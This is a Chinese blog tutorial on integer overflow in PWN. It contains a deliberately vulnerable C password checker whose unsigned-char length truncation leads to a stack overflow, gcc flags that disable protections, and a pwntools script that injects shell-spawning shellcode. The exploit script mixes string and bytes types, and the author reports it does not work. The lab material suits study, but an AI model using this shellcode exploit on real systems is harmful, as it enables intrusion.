天天看点

PWN学习之整数溢出

目录

  • PWN学习之整数溢出
    • 整数溢出
      • 溢出和回绕
    • 漏洞多发函数
    • 整数溢出例子

如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致

栈溢出

堆溢出

,而后两者都会

导致任意代码执行

。由于整数溢出发生之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。

关于整数的异常情况主要有三种:

  • (1)溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。

    溢出标志OF

    可检测有符号数的溢出;
  • (2)回绕,无符号数0-1时会变成最大的数,如1字节的无符号数会变为255,而255+1会变成最小数0。

    进位标志CF

    可检测无符号数的回绕;
  • (3)截断,将一个较大宽度的数存入一个宽度小的操作数中,

    高位发生截断

溢出分为上溢出和下溢出两种,上溢出是正数超过了最大数后溢出其OF标志寄存器为1,下溢出是负数超过了最大分为后OF标志寄存器为1,下面是我在Windows7中用VC6进行的演示。

PWN学习之整数溢出
PWN学习之整数溢出

接下来是环绕,是无符号数据的测试。

add指令前

PWN学习之整数溢出

add指令后

PWN学习之整数溢出

sub指令前

PWN学习之整数溢出

sub指令后

PWN学习之整数溢出

整数溢出要配合其他类型的缺陷才能有用,下面的两个函数都有一个size_t类型的参数(size_t是无符号整数类型的sizeof()的结果),常常被误用而产生整数溢出,接着就可能导致缓冲区溢出漏洞。

这两个函数都有一个

size_t

的参数,是无符号整型,当有符号负数作为n的参数时候,就会环路产生最大的无符号数。

#inlcude <string.h>
void *memcpy (void *dest,const void *src,size_t n);
char *strncpy(char *dest,const char *src,size_t n);
           

#include <stdio.h>
#include <string.h>
/********************************
* 验证密码函数
*********************************/
void validate_password(char *password)
{
    //定义一个buffer
    char password_buf[11];
    //取出passwd的长度
    unsigned char passwd_len = strlen(password);
    //进行密码验证 要求密码长度在4和8之间
    if(passwd_len >= 4 && passwd_len <=8)
    {
        printf("good!\n");
        strcpy(password_buf,password);//将密码拷贝到buffer中
    }
    else
    {
        printf("bad!\n");
    }
}

//程序入口点
int main(int argc,char *argv[])
{
    validate_password(argv[1]);
}
           

上面的代码我做了详细的注释,可以看出他的功能是要求用户输入一个密码,并且要求长度在4-8之间,然后拷贝到buffer中。

讲真的我要是不学整数溢出之前,我也看不出这代码哪里有问题,各位大佬的火眼金睛是否能发现?

没错问题就出在

11行

,这里strlen函数返回的类型是

size_t

也就是无符号整型,我们都知道无符号整型的取值范围是0~4294967295(32位),也就是0xFFFFFFFF 4个字节,而他被存储在了一个

unsigned char

的变量中,unsigned char其实就是byte 最大数值是255即0xFF 1个字节,所以当我们的密码长度为256的时候就发生环路,长度就变成了0,而我们只要满足他的条件即 260=4、261=5、262=6、263=7、264=8都能绕过验证,并且我们在绕过验证后下面的strcpy将那么大的字符串数据进行拷贝时候缓冲区又会发生溢出,从而可以利用栈漏洞攻击拿到Shell。

#关闭所有防护 进行编译
gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o Integer_bug Integer_bug.c
           

先来进行测试下,输入长度1和长度4的字符串。

PWN学习之整数溢出

OK接下来生成超过260的字符串,然后运行后看什么数据覆盖到了

eip

寄存器,再用

cyclic -l

来计算出位置。

PWN学习之整数溢出

显示24个字符后即可覆盖掉eip寄存器。

PWN学习之整数溢出

下面可以来构造payload了。

from pwn import *
#初始化PWN环境
context.arch  = 'i386'
context.os    = 'linux'
context.log_level = 'debug'
p = process("./Integer_bug")

#payload
retAddress = p32(0xffffd408)     #ebp地址
padding    = b'A' * 24           #填充
shellcode  = asm(shellcraft.sh())#shellcode
sledding   = '\x90' * 20         #滑雪橇
bypass     = b'B' * (261-len(retAddress)-len(padding)-len(shellcode)-len(sledding))
payload    = padding + retAddress + sledding + shellcode+bypass

#攻击
p.send(payload)
p.interactive()
           

经过测试不知道是不是gcc版本太高的缘故,执行poc后会断在strlen函数里面,可能新版gcc对strlen函数进行加强了吗?

各位有低版本的gcc或者Linux系统可以进行测试下。

PWN学习之整数溢出

本文来自博客园,作者:VxerLee,转载请注明原文链接:https://www.cnblogs.com/VxerLee/p/15434626.html 专注逆向、网络安全 ——VxerLee